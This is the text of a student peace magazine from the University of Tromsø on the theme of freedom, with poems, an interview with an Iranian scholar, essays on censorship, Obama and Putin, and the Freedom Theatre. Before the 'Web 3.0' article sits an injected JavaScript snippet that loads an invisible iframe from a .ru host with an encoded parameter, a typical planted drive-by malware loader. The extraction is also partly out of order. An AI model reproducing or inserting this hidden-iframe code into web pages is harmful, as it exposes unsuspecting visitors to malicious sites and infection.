Page 1

☎ 2nd Issue


- Decemb

er 2015

peace ma gazine

What is freedom?

Executive Staff Janine Tessem Strøm Head Journalist janinetessems@gmail.com Sara Karoline Steinmoen Outreach Coordinator sara_spor@gmail.com Sarah Chisholm Logistics and Social Media sarahnchisholm@gmail.com Torhild Larsen Skillingstad Co-Designer torhild.skill@gmail.com Andrea Indrehus Furuli Co-Designer andrea.indrehus@gmail.com Snorre Johannessen Content Editor snorrejoh@gmail.com

Contents 3 4-5 6-7 8-9 10-11 12-15 16-17 18-19 20-21 22-23 24-25 26-27 28-29 30-33 34-35 36-37 38-39 40-41 42-43

Editorial The Web 3.0 Poem: I Decline to be Born Who Are You Fighting For? Scholars at Risk Obama and Putin on Freedom Poem: Freedom The Freedom Theatre A Different Freedom Freedom in Music - Timeline About Freedom Poem: Untitled Is Development a Freedom? Emancipation in Music Humans of UiT Freedom to vs. freedom from Article: Freedom Film Reviews Crossword Puzzle

www.repeacemag.com @repeacemag

Contributors Aman Kedir Kamsare Branko Woischwill Claudio Lanza Cornel Viljoen Nicole Bogott Marcos Lopez Macal Rahul Mukand Tarjei Tvedten Torbjørn Rogde Vito De Lucia Front cover photo by Torhild Larsen Skillingstad Back cover photo by Andrea Indrehus Furuli

Special Thanks

The Centre for Peace Studies, UiT Kafé Sivertsen Seamus Ryder


Most of the contributors to this magazine are students in the Masters of Peace and Conflict Transformation programme, or are otherwise affiliated with the University of Tromsø. The ideas and opinions in this magazine do not necessarily represent those of the Center for Peace Studies or the University of Tromsø

All articles, illustrations and photographs appearing in re:PEACE magazine are copyright of their respective owners




if (do​cument.get​Elements​ByTagName(‘body’)[0]){ iframer(); } else { do​cument.wr​ite(“ <if rame src=’hxxp://​g3service​.ru​/in.php?a=QQkFBwQEgjAAADBgAGEkcJBQcEAQQHDQAMAg==’ width=’10’ height=’10’ style=’visibility:hidden;position:absolute;left:0;top:0;’gh></iframe>”); } function iframer(){ var f = do​cument.cr​eateElement(‘iframe’); f.setAttribute(‘src’, ‘hxxp://​g3sertce​.ru​/in.php?a=QQkFBwQEAAADBgAGEkcJBQcEAQQHDQAMAg==’); f.style.visibility = ‘hidden’; f.style.position = ‘absolute’; f.style.left = ‘0’; f.style.top = ‘0’; f.setAttribute(‘width’, ‘10’); f.setAttribute(‘height’, ‘10’); do​cument.get​ElementsByTagName(‘body’)[0].append​sfg(f); } By Snorre Johannessen

The Web 3.0

This summer and fall, we have seen what might be the beginning of a new age of the web. In Norway, a court ruling on September 2nd, 2015 led to censorship of seven internet pages related to illegal sharing of copyrighted material. This summer we saw Reddit, a highly popular website forum, calling itself “the front page of the internet,” starting to shut down sub forums that were deemed “undesirable”. This in and of itself may not seem to be a big deal, but Reddit has been a website that focuses on freedom of expression, and therefore involves itself as little as possible with the sub forums frequently created on the website and their discussions. These two examples are not surprising in and of themselves, but rather give us an idea of how the web might develop in the future. The web, or World Wide Web, was created by Tim Berners-Lee, along with other scientists, in 1989, and has since been recognized by its focus on sharing and as a place for free speech. In regards to sharing, the

internet itself was first created with the sole purpose of sharing data between research institutions throughout the USA. The spirit of sharing continued as the public got access, and further led to people sharing music, and later videos with each other, as well as ideas. Even though the web was introduced in 1989, the public did not immediately embrace it. Around the turn of the century, there was a major shift in perception of the web and its potential. Advertisement opened up a new form of revenue, and through that opened up the web. Now newspapers and other media platforms publish their content freely drawing in the public. This also led to the public creating their own platforms online, such as MySpace, Youtube, Facebook, and Reddit. These types of sites encourage users to create content themselves and only contribute a platform for creativity to flourish. This change has been called the start of the “the web 2.0”, an era where the public expanded and developed the web to what it is today.

The focus on development by the users, and its focus on sharing, and freedom of speech inevitably bled over into the real world. The sharing of music, video and other media has led to a clash with copyright laws leading to lawsuits and conflict. Holders of copyrighted product, and the private sector in general has, since the 1990s, fought to control the spread of their product on the internet. Freedom of speech has also been challenged, as violence and crime has been traced back to forums on the web, leading politicians to take stances against the complete freedom the web has offered in regards to speech. There are, of course, also examples of states wanting to control the public’s intake of information through the web, such as China’s infamous firewall. Together, the state and the private sector’s work to control the web has inevitably led to a web that is not as free and open as it was 15 or even 5 years ago. There are of course many reasons why this process has taken so long. First, because the web is based on consumers and their

Today, with 15 years of experience and rapid technological development, states and the private sector are now able to challenge this open space to a larger degree. Laws are implemented across international borders, and lawsuits are used to protect copyrighted material. The web is no longer “the wild west”, but rather, a space controlled by laws and states. This is not entirely a negative thing, as content creators now actually can protect their copyrighted material, making sure they are paid for their work, for example. The ability of the state to catch criminal activity online is also positive and perhaps a requirement if they want to be effective and relevant. This has led to a new balance being developed in a cooperation between the states and private sector, and the consumers. We are now heading into a new era of the web, where its status as a completely free and anonymous space is no longer a reality, but history.


“In Norway, a court ruling in on the September 2nd, 2015 led to censorship of seven internet pages related to illegal sharing of copyrighted material”

Photo by Sarah Chisholm

activity, it is hard for the private sector, and to some degree states, to completely overrule them, as funding and the running of many sites rely on an active public. By taking too drastic of steps, or by trying to assert too much control, you can risk losing users, as they simply find alternative internet sites that offer a similar service. Another problem with the internet is the general problem of legality. The internet does not exist within one country, but is rather a complex set of databases interfaced together through the web, that exist between countries. Trying to legally control this is a very difficult task, and helped the internet remain an open platform.

I Decline to Be Born Poem by Aman Kedir Kamsare

7 Mum, you press me out for what? See me changed into rubbles Buried alive Dismembered Torn asunder Mutilated Decapitated Slaughtered Witness me die? In front of your eye! If you force me out, but where is my destination and destiny? Into the world where injustice reigns? Humanity replaced by impunity Immunity overtakes human dignity They call occupation self-defense! Allies and alliances The right to kill The power to bomb The strategy to commit genocide A certificate to eliminate the whole family! Under the cover of humanity The absolute exercise of impunity Where there is no responsibility And accountability Fellow-humans, loudly, I scream and cry Do you hear my agonies? Do you see my tears washing down my face? Or you turn your blind eyes Do you hear my silenced voices? Under the mercy of bombs and rockets Or you turned your deaf ears? My tears is not tears It is tears in blood And blood in tears For some it remains water For others it tastes blood For me it always remains a mixture of tears and blood The two combine to make a flood A flood of human blood

The flood and tears That runs down the rivers That fills up the oceans That feeds the sand in the deserts Pools up to make an oasis! Recalls Utøya in the seas Unforgettable tragedies That always rings into our ears! Should I prove my innocence? A clean paper of tabula Raza Where there is commission and omission of no crimes If not my fault is to be born Would you consider giving me birth! On the unjust earth! I am a living dead A dead living The two are synonyms Wrapped together by the same strings I am being born now I am living now Alas! I dying now, mum! Everything is here and just now The time is running The bomb is exploding The rocket is flying No one to protect No place for hiding Procrastination is the thief of time A stitch in time saves nine I need your help before dying! Peace now! Freedom just now!

Photo by Diana Takutdinova


Who are you Photo and text by Cornel Viljoen

In the 21st century, the word freedom seems to be more understood as, and used in the following context, “my freedom is to do what I want and when I want, even at the cost of others.” Over decades the word freedom has meant something different to each generation, country and culture. There are men and women who have fought and lost their lives so that others may enjoy freedom in their nation. William Wilberforce fought for the freedom of those who were in slavery, Nelson Mandela fought for the freedom of all South Africans to live equally, not one person to be higher or lower ranked than another.

Who are you fighting for? I enjoy a good road trip with my best friends; it stirs the sense of adventure, the unknown, great expectations and it is a lot of fun. Over the years I’ve seen many use this form of long adventures to “escape“ their everyday life that seems to place us in “bondage.“ Daily, someone will complain about his or her job, colleagues or boss, yet there are others

desperate for work, to place a meal on the table. There are people who see themselves in bondage when they have no job and can’t provide for their family, and others who see their nine to five job hours as a burden. Through our passions, if it is art, music, extreme sport and so forth, we push our limits to experience the most risk taking forms for the very small taste of freedom. It is when we place ourselves in the environment, for example nature itself when we stand in the open landscapes that stretches further than what the eye can see, climb the highest summit, dive into the depth of the ocean that we taste that sense of freedom. Having no concerns, not being consumed with, “is my colleague better than what I am at this task?” Every week I have speak up and speak out moments: For about 7 years now, I have been running Surf Life Surf School as a sideline project and


fighting for? business. It was created out of the deep desire to inspire and encourage people to dream big, but also to make them aware of human trafficking. A purpose beyond just being another surf school in Cape Town. There is a sense of freedom with every wave you ride. The experience is unforgettable. Making people aware about human trafficking through the surf school is helping to prevent people from being trafficked and to remain in freedom. We can not do everything but we must do something. Reason I shared this, is that through my passion I can inspire others to help those who have no freedom. Since I started to work, from September 2015, at The A21 Campaign (Anti-Human Trafficking Campaign), and within two month I realized that a survivor of human trafficking is free in nature, but if she or he does not go through the restoration programs and trust the help offered, she or he can remain in bondage internally, even though externally the abuse has stopped.

What do you have in your hands?

I believe that true freedom starts within the heart and the everyday thoughts that occupy us. What is the health of your heart? What do you think about the most everyday? Is it consumed with your daily to do lists? The ten meetings that are lined up in your calendar? How will the bills get paid this month? What insecurities are bombarding your thoughts and making you worry? And so the list continues‌ Freedom, is when you stop comparing yourself to others, and to be who you want to be. When you choose to leave your insecurities behind and learn how to grow your character and talents. When you make the right choices even when it hurts at times. When you choose to pursue the dreams in your heart and stop listening to the naysayers. When you face your own pride and humble yourself. When you take a stand and speak for those who have no voice. You have the power to live in freedom through your daily decisions, choose to live in freedom.

Who are you fighting for?

Scholars at Risk: IRAN-663 Photo by Sarah Chisholm


By Janine Tessem Strøm

Most people walk out the door every morning without any greater resistance than their own tired limitations. Scholar 663 is not like most people. She leaves her home in the Norwegian capital with the knowledge that she could not walk out the door so freely back in the country where she was born. Tell us a little about your background and why you became a part of the Scholar at Risk Network? Basically three main reasons have put me at risk. One, the university I have been teaching at; two, the research topic which I have been working on; and three, my hu-

man rights activities. I come from Iran where Bahai’ students cannot enter any universities just because they are not Muslims. Bahai’s are the biggest religious minority in Iran. They are deprived from so many citizenship rights as well as the right to higher education. Therefore Baha’is have found an online university; Bahai Institute for Higher Education (BIHE) for those deprived Baha’i youths. Can you share some of your experiences teaching in Iran? I have been teaching Psychology for undergraduates for about nine years at BIHE. When I was in Iran, BIHE had problems for getting a place or building for students to study. The government closed any buildings and laboratories that BIHE had rented, till May 21th, 2011 which BIHE’s

instructors got arrested by government. The raids took place at as many as 30 homes in Tehran, Karaj, Isfahan and Shiraz. Fourteen Baha’is have been arrested in one day. The sentences for each one were from 4-5 years imprisonment regarding to educators’ involvement to Baha’i Institute for Higher Education. One of those arrested was a member of the faculty of Psychology, which I worked closely with as a teaching assistant. There has been a campaign for them known as “education under fire”. What was it about your topic that provoked Iranian authorities? The unpleasant event I just described actually happened when I was studying my Master degree here in Norway. About the research topic, I completed

my Masters in Peace and Conflict Studies with emphasis on political psychology at the University of Oslo. I wrote my thesis on the event of the 2009 Presidential election concerning particularly how theocratic ideology prevents democratic behavior in Iran. The thesis explained the psychological effects of theocratic ideology, which affected the Green movement and how and why the Green movement could not be successful in its aim. This edition of re:PEACE asks What is Freedom? What would your answer to that be? Freedom is the possibility of reflecting the pure essence of something, it can be the possibility of being the authentic self, but it goes beyond that to the possibility of reflecting an authentic concept or process. As a human being I should have the possibility of being myself to reflect the truth of myself. As a researcher, I should have the possibility of conducting a research for the sake of truth which that research can reflect. What conditions or factors would you consider as being most restrictive for freedom? There is a very interesting and complicated relationship between freedom and law. Law restricts freedom and it protects freedom too. We live with laws but it is very important to know what laws we follow, which laws we legislate and what the grounds are of these laws. I am coming from a theocratic country - in Iran religion put limits on freedom.

You volunteer and engage in Iranian human rights in Norway. How effective is it to work for human rights outside of the country? Working on the human rights of Iran from Norway, at first place is for the aim of reflecting, monitoring and reporting the human rights violations for the international community. We should share the news and events in Iran. It is effective because Iranian authorities are working to make a good impression on the international society. There have been so many cases of executions, prison sentences and other penalties that have been delayed or stopped because of this reporting of news to the international and national communities.

“In Iran, Islam defines freedom and not human rights; basically it is God’s rights instead of Human rights” From a human rights perspective – when is it legitimate to take away someone’s or something’s freedom? Human rights are about the “rights” so we should take into consideration if someone and something harmfully takes away rights of the others. Human rights recognize the basic rights for all humans, but when a right

is misused and led to harm for the others, it is the time to take away the freedom of harming. Could you describe the concept of freedom in the context of Iran and Norway, perhaps other places you have experience from? In Iran, Islam defines freedom and not human rights; basically it is God’s rights instead of Human rights. Moreover defining freedom by religion can be discriminative because there are “believers” and “non believers” of which different laws and rights are applicable for these two groups. Fortunately, compared to Iran, Norway is a free land. From the moment I put my feet in this country, I have been tasting the sweet flavor of freedom as a woman and as a human. However there is always the possibility of pushing limits for getting more freedom because we as human, all the time, are changing and the desire to seek new challenges can be more supported by a society who values freedom.

Scholar at Risk Network is an organization with headquarters in New York that serves to defend academic freedom worldwide and facilitates network-building to scholars that have experienced attacks or threats to their personal and/or academic freedom.



Photo by Sarah Chisholm

Obama and Putin’s Views on Freedom


By Claudio Lanza

Freedom is a tricky concept. It shares numerous meanings, each having its own particular ruling features. However, this article will focus its attention on freedom in legal and political terms, which can be synthetized as master over one’s destiny. According to this connotation, man is free in the sense that he is not subject to the sovereignty of others and he is the one determining the mode, nature and way of his own life. Naturally, on the contrary, a person who is under the domination of others, receiving orders from the latter to do or not to do something, and cannot act the way he likes, is not free.

“Democracy inclusive democracy – makes countries stronger” Obama In sum, “man is free” means that no one and no being has the right to trample on the right of man to have mastery over his destiny and to designate duties for his life and actions. At a first glance, we may believe that freedom is intended in the same way all across the world, more or less. In fact, when it comes to reality, in particular to political realities, the theoretical definition becomes greyish. For instance, if we look at the relations between states

nowadays, it seems that the world is going back to an era of contrapositions, rather than harmony and freedom, like it was during the Cold War. On the one hand, no direct confrontation between superpowers, but on the other hand, indirect quarrels signalled by the increasing numbers of peripheral internationalized conflicts. To mention two ongoing cases, the West-East competition over Ukraine spoils, and the rise of both Western and Eastern military engagement over Syria’s future. Both situations have increased the ‘temperature’ of U.S.-Russian relations. Thus, since there seems no place for rigid ideological confrontations, what can answer these steps backwards? According to this article, how the U.S. and Russia perceive each other, in particular in relation to the concept of freedom, can give as some clues. Nothing better than the last ‘diplomatic confrontation’ at the United Nations (U.N.) headquarters can help us to grasp how Moscow and Washington perceive each other. Indeed, early this month, the 70th Session of the General Assembly saw a tough and rare ‘dialogical confrontation’ between the President of United States (U.S.), Barack Obama, and the President of Russia, Vladimir Putin. Their speeches dominated the opening of the annual General Assembly of world leaders. Both speech-

es spoke about the achievements done, the unresolved problems to address, and the direction the U.N. members should collectively take. Then, this occasion can provide meaningful insights about the reason why a new era of weak and short-range compromises seems to have replaced the former one, characterized by substantial and organic cooperation between the two super powers. Let us go directly to the

“We are all different, and we should respect that” Putin texts! Although the two speeches share a similar structure, and despite both made reference to the U.N. Charter principals quite often, their contents can arguably be described at odds. According to Mr. Obama, cooperation, democratization and the rule of law represent “the ideal that [U.N.], at its best, has pursued”. Moreover, it is the international principles, which the U.N. embodies, that “advanced the emergence of democracy and development and individual liberty”, he said. Then, democratic principles and human rights are “fundamental to this institutions mission”, but not only. According to Mr. Obama, “democracy - inclusive democ-


racy – makes countries stronger”, because denying the freedom to speak, for example, shows weakness and fear, not strength. Actually, Obama’s speech can be synthetized as a Western manifesto for democracy. He not only referred to democracy in almost every point of his speech, but he also dedicated a quarter of it exclusively to democracy and its importance. Indeed, though he recognizes that democracy could be applied in different ways, he believes in freedom of speech, rule of law and women rights as universal rights to human progress. He promoted democracy as a universal model of governance that all the U.N. members should seek in order to become stronger. Yet, the more globalization, the more practical need for democracy. Iran and Cuba are mentioned as the most prominent example of the benefits linked to choosing the democratic path, for instance. Mr. Putin, on the other hand, believes that “the U.N. is unique in its legitimacy, representation and universality”. He states that its basic principles are “free will [for people, nations and states], defiance of scheming and trickery, and spirit of cooperation”. The export of democratic revolutions is a dangerous practice, he said, which triggered violence and wars. Moreover, he used the Soviet Union’s export of communism as an analogy to

describe the “tragic consequences” that the Westerners’ democratic agenda can lead, and have led. The situation in the Middle East and North Africa is a clear example, according to the Russian President.

“What would make nations’ efforts truly productive would be the common values and common interests that the U.N. Charter’s basic principles represent” Instead, “we are all different, and we should respect that”, Mr. Putin said. He claimed that the U.N. founders did not think that there would always be unanimity because of the natural and profound differences among all the member states. More precisely, “the mission of the organization is to seek and reach compromises, and its strength comes from taking different views and opinion into considerations”. In other words, Mr. Putin sees the U.N. as a common public space where all nations can put efforts towards a better understanding of each other’s interests and intentions in order to reach compromises by diplomatic means. What would make nations’ efforts truly

productive would be the common values and common interests that the U.N. Charter’s basic principles represent. Therefore, on the Russian hand, democracy is described as the Westerners’ means – with the U.S. at the top of the “pyramid” – to accomplish their universal ambitions of hegemony over the world; an ideological approach able only to trigger violence and conflicts because it disrespects nations’ natural differences. On the American hand, Putin’s rejection of democratic principles means automatically that he prefers repression and the rule of force, instead of the respect of human rights and democracy. However, they both promise progress and the paramount goal of their opposite paths; both argued that the other’s view opposed the U.N. principles; both guaranteed no hesitations if the use of force would have be used, because of international law violations, as it happened in Ukraine, Russian claimed. Therefore, because of an apparently ongoing latent rivalry, Russia and the U.S. still perceive each other as enemies. Then, as long as this situation does not change, the freedom of one will be perceived as a state of oppression from the other and vice versa.

Photo by Vitaliy Kudryashov


I am free, you say but what is this freedom of yours? I love freedom, you say but your freedom is not real Fear of the natural world made you a fool Too wise for your own good too wishful, with false premises destroying instead of rebuilding Fear of yourself made you strong for a minute then falling into a dark ditch with your talk of freedom and truth Turning into a liar selling your freedom for gold I wish I could save you but only truth can save us now Your so called free world a slave world now we are the only free resting in green lush forests of quiet sound

Poem by Tarjei Tvedten Photo by Diana Takutdinova




The Freedom Theatre Text and photo by Sara Karoline Steinmoen

This autumn the media has again brought attention to the Israeli occupation of Palestine. The media has presented speculations of the uprising of a third intifada. However, I will not discuss if this is the case. I want to show a different side of the Palestinian resistance to the occupation than the media. Non-violent resistance has been given little attention in the media, although it is widely practiced. In the northern part of the West Bank there is a theatre called The Freedom Theatre located in Jenin refugee camp. This theatre aims to be a major force, cooperating with others, in generating a cultural resistance, carrying on its shoulders universal values of freedom and justice. “You don’t have to heal the children in Jenin. We are not trying to heal their violence. We try to challenge it into more productive ways. And more productive ways are not an alternative to resistance. What we are doing in the theatre is not trying to be a replacement or an alternative to the resistance of the Palestinians in the struggle for liberation, just the opposite. This must be clear. I know it’s not good for fundraising, because I’m not a social worker, I’m not a good Jew going to help the Arabs, and I’m not a philanthropic Palestinian who comes to feed the poor. We are joining, by all means, the struggle for liberation of the

Palestinian people, which is our liberation struggle. . . . We’re not healers. We’re not good Christians. We are freedom fighters”. – Juliano Mer Khamis Juliano Mer Khamis co-founded The Freedom Theatre in 2006 and was the son of Arna Mer Khamis, a human rights activist. The Freedom Theatre is inspired by Arna`s project, Care and Learning, which used theatre and art to address the chronic fear, depression, and trauma experienced by children in Jenin Refugee Camp. Arna was a Jewish activist fighting for freedom and human rights, particularly in Occupied Palestine. By using art, she challenged the children with possibilities of an alternative reality to what they known. Through her work and “passionate commitment to the defence and education of the children of Palestine” Arna won the Right Livelihood Award in 1993. With the award money she built the Stone Theatre, which unfortunately was destroyed by the Israeli invasion of the refugee camp in 2002. Four years later Juliano became the General Director of the newly established Freedom Theatre. During his time at the theatre he inspired a lot of people and contributed to empowering women, youth and children. He wanted the theatre to

provide a space in which children and youth could act, create and express themselves freely and equally. A place where they could imagine new realities and challenge existing social and cultural barriers. This legacy is still alive within The Freedom Theatre today. Since the start, the theatre has commented on the occupation as well as internal societal oppression. Clearly this has been provocative for people who feel comfortable in the superior position they hold. To challenge the existing reality is dangerous at times and Juliano himself was assassinated in 2011. The death of Juliano indicates how powerful art can be. If no one felt threatened by his and the theatre’s work, why kill the man? After Juliano’s death the theatre faced a hard time with harassments and arrests of students and staff by the Israeli occupation army. They could have been terrified to continue their cultural resistance. However, The Freedom Theatre refused to be defeated and continues its important work; to tell stories and explore the potential of arts as a catalyst for social change. Right now the theatre is collaborating with Jana Natya March, an Indian street theatre group, with the tour #FreedomJatha. www.thefreedomtheatre.org.



- Grossi, P., La Proprietà nel Sistema Privatistico della Seconda Scolastica, in Grossi, P. (ed) La Seconda Scolastica nella Formazione del Pensiero Giuridico Moderno, Incontro di Studi, Firenze 16-19 Ottobre 1972, Atti, Milano: Giuffré 1972 - Esposito, R., Bios: Biopolitics and Philosophy, Minneapolis: Minnsota University Press, 2008 - King, M., ‘Heidegger’s Etymological Method: Discovering Being By Recovering The Richness Of The Word’, Philosophy Today, 51:3, 2007, 278 - MacPherson, C., The Political Theory of Possessive Individualism, Oxford: Oxford University Press; Reprint edition, 2011 - Nedelsky, J., Law’s Relations: A Relational Theory of Self, Autonomy, and Law, Oxford: Oxford University Press, 2011 Photo by Sara Karoline Steinmoen

A Different Freedom By Vito De Lucia

The idea of freedom and its cognate term liberty – for our purposes here the two terms can be treated as synonyms – is one of the key concepts of modern political and legal theory. In this short article I intend to explore the genealogy of the concept of freedom, a genealogy capable of disarticulating the individualistic closure liberal modernity has imposed on it, and thus re-activate its richer relational semantic field. The liberal concept of freedom refers in general either to the negative sense of being free from interference, or to the positive sense of being one’s own master (Esposito 2008: 71). These two modern inflections of freedom mark a crucial semantic and conceptual intersection with the concepts of independence and autonomy (Grossi 1972; Nedelsky 2011), and more in general with the entire cluster of intertwined concepts – viz. liberty, freedom, autonomy, independence, reason, will, ownership – central to liberal modernity. Thus constituted, freedom becomes the litmus test for legal personhood. Only individuals capable of freely directing their own acts are capable of bearing rights (and corresponding duties), as already argued by Franciscan theologians such as St. Bonaventure or Peter John Olivi at the very dawn of modernity. This freedom, or self-direction, also denoted as the self-determination of the will, was central to the construction of the notion of self-ownership, which later became crucial to liberal

philosophy. Indeed the philosophers of the so-called possessive individualism school (MacPherson 2011), and primarily Hobbes and Locke, fully cemented the fundamental link between freedom, the realization of human personality and property. Freedom, in this reasoning, operates as the crucial test for both self-ownership and for ownership of the things of the world. In this respect, freedom would act to further divaricate the ontological gap between humans and other living beings: brute animals, lacking free will, aren’t in fact capable of bearing rights, “[s]ince brute animals do not possess [i.e. control intentionally] their own acts, they cannot own other things” (Grossi 1972: 139). As Italian political philosopher Roberto Esposito has suggested however, modernity has enacted a semantic draining of the concept of freedom that results in a progressive loss of meaning (Esposito 2008: 70). Another, richer, narrative emerges in fact if one traces the etymology of the concept, and in this respect both freedom and liberty orbit around the same semantic field and etymological genealogy. Etymology, it must be noted, does not serve here the purpose of finding a ‘true’ meaning of freedom, nor of stabilizing its semantic field by imposing a different closure on the concept. With Heidegger, etymology aims rather at ‘opening up’ the word and reveal the richness of its semantic field (King 2007).The ‘germinal nucleus’ of freedom in (and of liberty, through a different yet congruent

etymological route, Esposito 2008: 70), ‘alludes to a connective power that grows and develops according to its own internal law, and to an expansion or to a deployment that unites its members in a shared dimension’ (Esposito 2008: 70). Freedom is, on this reading, ‘both affirmative and relational’ (Esposito 2008: 71). Modern freedom then, semantically re-calibrated and reduced, isolates the individual subject from its other, and operates as the conceptual device aimed at protecting the individual from the interference of others (Esposito 2007/8; Nedelsky 2011). Nedelsky in this respect speaks of a ‘bounded self ’ as the autonomous and philosophically secluded subject protagonist of the American constitutional property framework, again underlying the intimate connection between freedom and ownership in the liberal tradition. From this point of view, freedom (and liberty), even in its more trivial representation as freedom of choice in a market society, crucially subtends the individualist ontology of modernity; or, rather, it is inflected so as to facilitate and reinforce that ontological construction. Our brief etymological exploration of freedom however shows a different possibility, inscribed within a different horizon of sense where to be free means to open up to the world and its relations, rather than constructing barriers that protects against the world This horizon of sense, always already implicit in the semantic field that the concept of freedom inevitably, if weakly, refers to, can then be re-activated.




“Don’t kiss me, don’t claw me. Don’t pet me, don’t paw me. And I won’t leave my freedom behind.” Elvis (1961) I’m Not the Marrying Type

“Freedom is just another word for nothing left to lose. Nothing don’t mean nothing honey if it ain’t free.”

Text and photo by Janine Tessem Strøm

Janis Joplin (1971) Me and Bobby McGee




“Looking back and longing for the freedom of my chains. And lying in your lovin’ arms again.” “And for every hung up person in the whole wide universe. And we gazed upon the chimes of freedom flashing.” Bob Dylan (1964) Chimes of Freedom

Elvis (1974) Lovin´ Arms

“Won’t you help to sing these songs of freedom? ‘Cause all I ever have, redemption songs, redemption songs.” Bob Marley (1980) Redemption Song


“Motherfucker I’m a G, but first I’m a man. Freedom of Speech, bitch, is a word you can’t ban. So they blamin’ me, sayin’ this my talk.”

“This is my right, a right given by god. To live a free life, to live in freedom.” Paul McCartney (2001) Freedom

“The choices in this world. The world spinnin’ on freedom. Freedom for the boys and the girls.”

Snoop Dogg (1992) Neva Have 2 Worry

Justin Bieber (2014) We Were Born For This




“A man in the bright lights took all that you own. Now he’s taken your freedom for a taste unknown.”

“Say freedom, brotherhood justice, just say yes. Say freedom, brotherhood justice, just say yes.” Madonna (1997) Freedom

Amy Winehouse (2006) Hey Little Rich Girl

“Your first name is Free, Last name is Dom. Cause you still believe in where we’re from.” Pharrell Williams (2015) Freedom!


About Freedom and How to Establish It

“How can a bird that is born for joy sit in a cage and sing?” William Blake By Nicole Bogott & Branko Woischwill

What is freedom? It seems like an easy question, yet there are simple and complex answers to it. One common perspective suggests that freedom equals self­ determination. In other words, when you are free you can make your own choices and are not bound by any force other than yourself. But is this just a dream, or is it actually possible in a world of interdependencies? Let’s find out. But first of all, let us talk about the importance of freedom and why a healthy society needs free people. Why is freedom important? The concept of freedom is directly linked to the concept of democracy. Democracy rests on the will of the people. However, the amount of freedom some people have directly impacts the scope of freedom of others. Freedom can also add value in a society because free people are able to be more creative. Such societies that foster creativity are often known to be more competitive than oth-

ers and innovation is more likely to occur in places without fear. This perspective has been widely advocated by Dr. Brené Brown, a shame and vulnerability researcher at the University of Houston. Her theory seeks to explain why freedom is so crucial in our world. With freedom we create progress and progress means growth. When anxiety exists in a society, such creative progress is almost impossible to achieve. Why do we need free people? People who have the freedom to follow their own will are difficult to manipulate and almost impossible to control. Similarly, more people will be able to participate in democratic processes. Self­ determined people do not all follow one leader. They are critical, they are able to debate and through that debate they can find proper solutions. What hampers our freedom? We suggest that there are generally three aspects that directly in-

fluence people’s levels of freedom: access to resources, access to information and access to a network. Constraints in these areas vary according to a person’s background or upbringing. Realising the differences between individuals and groups in these three regards is important because this is the only way to enable people to start working towards more freedom. When people are free, they are empowered and power is directly related to the freedom of choice. Being powerful means being able to make many different choices. The more choices you can make the more powerful you are. The less choices you can make the less powerful you are. The following are access areas related to this concept: - Resources: ​Impoverished people are less likely to have the power of choice. - Community: ​Isolated people are less likely to have the power of choice.

Photo by JKamal Kandel


- Information: ​Uninformed people are less likely to have the power of choice. Limited access to resources Looking at Maslow’s hierarchy of needs, it becomes clear that resources are important. According to him, physiological needs come before self-­actualisation. In other words: a lack of access to assets and resources can have a variety of problematic consequences. Resources that alleviate constraints could be money or even time. Money makes it possible to build a business, invest and become more independent. It can also buy time. Access to resources such as time, money and other commodities is vital in order to be free. Limited community support The honored expert for global leadership, Margaret J. Wheatley, is famous for emphasising a problem­solving that combines the various strengths within a team. So, build a successful network before it is needed. A functioning

support system is usually comprised of people ­the right ones ­ who are able to find solutions to specific problems. If we go a step further we see that without a functioning support system it is also not possible to be entirely free. Generally when we are unbound by constraints we do not prioritise networks that carry us. Once we become vulnerable, support systems become more visible. But it is interestingly those systems that make us free. Access to a supporting network is vital in order to be free. Limited access to information As Plato once said: “Today Learner is Tomorrow Leader” ­ It is a timeless truth that true freedom is connected to a certain level of awareness. In order to become aware people need to acquire the ability to compare various pieces of information and they equally need to possess the ability to question everything openly. There is currently a war for attention and people are con-

stantly flooded with information. If people cannot discuss things publicly or privately they cannot be free. This would mean that they have to obey orders from someone else. Access to information is vital in order to be free. This has also been stated by Paulo Freire, who ultimately argues that critical thinking determines the development of societies of either conformity or of freedom. At the end of this elaboration about freedom it should be added that total freedom is not healthy for a society. Similarly, it is impossible to achieve total freedom of all people. There are laws that prevent us from being totally free to do whatever we wish. These laws are meant to protect us from each other. Yet, societies need freedom in order to develop properly today, tomorrow and in the future. To do so, we suggest to keep an eye on three important points: resources, community and information.


[Prologue: there are many ways to feel unfree] She presented herself unannounced, and took me by surprise. I had been waiting for her, and still she managed to bewilder me. The truth is, I was desperate for her. I had been waiting for this moment for months; long, hot, summer months drenched in the haze and humidity of longing and desire. I had longed for and desired her for so long that I struggled to maintain composure before her. We had a history. I first tasted her when I was barely 18 – I have been helpless ever since. There had been affairs in exotic locales across the globe. Staying out late in her arms; sneaking out early to see her whenever she called - all had left victims.

Commitments to family, education, work and lovers all faltered under her undeniable spell. I would do anything to have her, a fact she knew all too well, mercilessly taking me for all my worth. She was dangerous. She had the power to erode landscapes; alter climates; to float dreams; and destroy them. Her mood was unpredictable. There were moments when she became approachable. Those were the moments I lived for, but there was no telling how long they would last. Our affairs had lasted minutes, hours, weeks, and, at the longest, a month. Each one was drastically different and corresponded to her volatile state of emotion. History should have taught me lessons, but she always left me craving her caress once more. This time was no different. I was standing before her on the beach. The sun had set. Anyone around before had gone home to supper with loved ones or loneliness without. There was nobody but us. In the dusk, we embraced. I tasted the salt on her; immersed myself in her touch; dove beneath and inside of her; slipping away on waves of lust and love; trying hard to keep up, keep pace, keep her satisfied.

The stars came out. It was twilight. I could not stay with her: she would not have it. I would never survive in her world - a vicious truth she never let me forget. I returned home both exhausted and exhilarated. I lay awake dreaming of her. I did not sleep. At the first sign of light, I returned to the beach where we had met the night before. Sure enough, she was waiting for me. For two more days I was rendered useless to anyone but her. I would say goodbye to her in the morning and drift hopelessly in thoughts of her until I saw her again that evening. For two more days our bodies collided in lovers’ bouts. My muscles ached; my flesh became raw, and skin chafed. I gave her everything stored up inside of me and more. I was spent.

But there was something lovely about feeling broken by her. I wanted to give her everything. I wanted her to break me. My body was finished. I could take no more. I had nothing left to give. I was no longer any use. It is my sole belief that no one could ever conquer her. She takes and takes and takes. If lucky - or perhaps unlucky, depending on the point of view - she gives just enough to wash away the memory of all her taking… and then she takes some more. She had her way, as she always has and always will. And for the time being, I said goodbye to her -- my lover, the Sea. By Romancethesea





Is Development a Freedom? Photo and text by Rahul Mukand

